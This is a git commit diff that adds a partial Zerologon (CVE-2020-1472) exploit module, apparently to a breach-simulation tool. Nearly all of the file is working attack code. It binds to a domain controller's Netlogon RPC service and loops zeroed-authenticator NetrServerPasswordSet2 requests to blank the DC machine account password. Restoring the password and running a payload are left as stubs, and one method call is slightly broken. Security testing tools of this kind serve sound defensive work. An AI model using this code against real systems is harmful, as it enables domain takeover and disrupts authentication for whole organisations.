Partially add Zerologon exploiter
This commit is contained in:
parent
2cc0a159e0
commit
9468de471d
|
@ -0,0 +1,85 @@
|
|||
"""
|
||||
Zerologon, CVE-2020-1472
|
||||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||
"""
|
||||
|
||||
import logging
|
||||
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
|
||||
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_EXPLOITED_SERVICE = 'Netlogon'
|
||||
|
||||
def __init__(self, host):
|
||||
super().__init__(host)
|
||||
self.vulnerable_port = None
|
||||
|
||||
def _exploit_host(self):
|
||||
MAX_ATTEMPTS = 2000
|
||||
zerologon_finger = ZerologonFinger()
|
||||
|
||||
DC_IP = self.host.ip
|
||||
DC_NAME = zerologon_finger.get_dc_name(DC_IP)
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
|
||||
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
|
||||
LOG.info("Target vulnerable, changing account password to empty string")
|
||||
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
|
||||
# Start exploiting attempts.
|
||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||
result = None
|
||||
for _ in range(0, MAX_ATTEMPTS):
|
||||
try:
|
||||
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if ex.get_error_code() != 0xc0000022:
|
||||
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
|
||||
except BaseException as ex:
|
||||
LOG.info(f"Unexpected error: {ex}")
|
||||
|
||||
if result is not None:
|
||||
break
|
||||
|
||||
LOG.debug(f"Result error code: {result['ErrorCode']}")
|
||||
if result['ErrorCode'] == 0:
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
LOG.info("Non-zero return code, something went wrong.")
|
||||
|
||||
# how do i execute monkey on the exploited machine?
|
||||
# restore password
|
||||
|
||||
else:
|
||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||
|
||||
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
request['PrimaryName'] = DC_HANDLE + '\x00'
|
||||
request['AccountName'] = TARGET_COMPUTER + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = b'\x00' * 8
|
||||
authenticator['Timestamp'] = 0
|
||||
request['Authenticator'] = authenticator
|
||||
request['ComputerName'] = TARGET_COMPUTER + '\x00'
|
||||
request['ClearNewPassword'] = b'\x00' * 516
|
||||
return rpc_con.request(request)
|
||||
|
||||
def restore_password(self):
|
||||
# get nthash using secretsdump and then restore password
|
||||
pass
|
Loading…
Reference in New Issue